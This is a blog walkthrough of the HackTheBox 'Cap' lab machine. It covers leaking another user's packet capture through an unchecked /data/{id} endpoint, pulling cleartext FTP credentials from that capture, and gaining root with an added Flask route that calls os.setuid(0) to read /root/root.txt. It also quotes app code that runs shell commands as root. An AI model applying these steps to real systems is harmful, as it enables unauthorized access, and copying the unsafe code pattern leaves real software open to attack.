Skip to main content

📦 HTB - Cap

·519 words·3 mins· loading · loading · ·
HTB htb writeup
0xNinja
Author
0xNinja
mov al, 11
Table of Contents

Simple easy box, perfect to warmup before the FIC 2021 and get more confidence in 1337 h4ck1n9

TL;DR
#

Find PCAP file on server, get SSH credentials, execute code as root with Python.

Footholds
#

I did not even use nmap here, as we had a web server serving on port tcp:80. This website looked like this:

Cap index

It seems to be a security dashboard for a server, we don’t have any info about that. We have multiple endpoints on the server :

  • /capture: redirects to /data/{id} after loading
  • /data/{id}: we can download {id}.pcap by clicking a button
  • /ip: get a netstat output

What can we do with that?

User
#

I got to download the file 11.pcap, and got nothing in it. I recognized that all my interactions with the server were logged in this PCAP, which is odd, I tought the server was serving a particular PCAP.

After playing again with the /capture endpoint, I figured out that the /data/{id} correspond to a specific user or IP. So I checked /data/0 and got the following data:

0.pcap

And guess what? Yes we can see credentials in cleartext here:

FTP connection in 0.pcap

So we can SSH to the machine with those.

Root
#

Source code
#

The server was running in /var/www/html/app.py which is a Flask server. the user nathan have rw rights on it so I checked the source code:

 1import os
 2from flask import *
 3from flask_limiter import Limiter
 4from flask_limiter.util import get_remote_address
 5import tempfile
 6import dpkt
 7from werkzeug.utils import append_slash_redirect
 8
 9# [...]
10
11app = Flask(__name__)
12
13@app.route("/")
14def index():
15        return render_template("index.html")
16
17@app.route("/capture")
18@limiter.limit("10 per minute")
19def capture():
20        path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
21        ip = request.remote_addr
22        # permissions issues with gunicorn and threads. hacky solution for now.
23        #os.setuid(0)
24        #command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
25        command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
26        os.system(command)
27        #os.setuid(1000)
28
29        return redirect("/data/" + str(pcapid))
30
31@app.route("/ip")
32def ifconfig():
33	d = os.popen("ifconfig").read().strip()
34	print(d)
35	return render_template("index.html", rawtext=d)
36
37@app.route("/data/<id>")
38def data_id(id):
39        try:
40                id = int(id)
41        except:
42                return redirect("/")
43        try:
44                data = process_pcap(os.path.join(app.root_path, "upload", str(id) + ".pcap"))
45                path = str(id) + ".pcap"
46                return render_template("index.html", data=data, path=path)
47        except Exception as e:
48                print(e)
49                return redirect("/")
50
51# [...]
52
53if __name__ == "__main__":
54        app.run("0.0.0.0", 80, debug=True)

I removed some code for readability but you get the idea. The important stuff is the os.setuid(0) part. If you want the complete code, check it here.

Exploit
#

As you can expect here we can execute code as root with the os.setuid(0) line. So I just edited this app.py file and added one route:

1@app.route("/test")
2def test():
3    os.setuid(0)
4    data = os.popen("cat /root/root.txt").read()
5    return render_template("index.html", data=data)
6
7# opened a new port on the machine
8if __name__ == "__main__":
9    app.run("0.0.0.0", 65000, debug=True)

Then I started the server in the SSH connection: nathan@cap: python3 app.py, and connected on the server on my local machine with firefox http://cap.htb:65000/test.

RCE as root

And voilà.

Cap rooted

Related

📦 HTB - Ready
·435 words·3 mins· loading · loading
HTB htb writeup
📦 HTB - Magic
·543 words·3 mins· loading · loading
HTB htb writeup
📦 HTB - Obscurity
·1004 words·5 mins· loading · loading
HTB htb writeup
SQLi lab solutions
·1003 words·5 mins· loading · loading
article ctf sqli writeup
🚀 TL;DR - pacman
·103 words·1 min· loading · loading
TL;DR archlinux pacman tldr
🚀 TL;DR - nmap
·147 words·1 min· loading · loading
TL;DR tldr nmap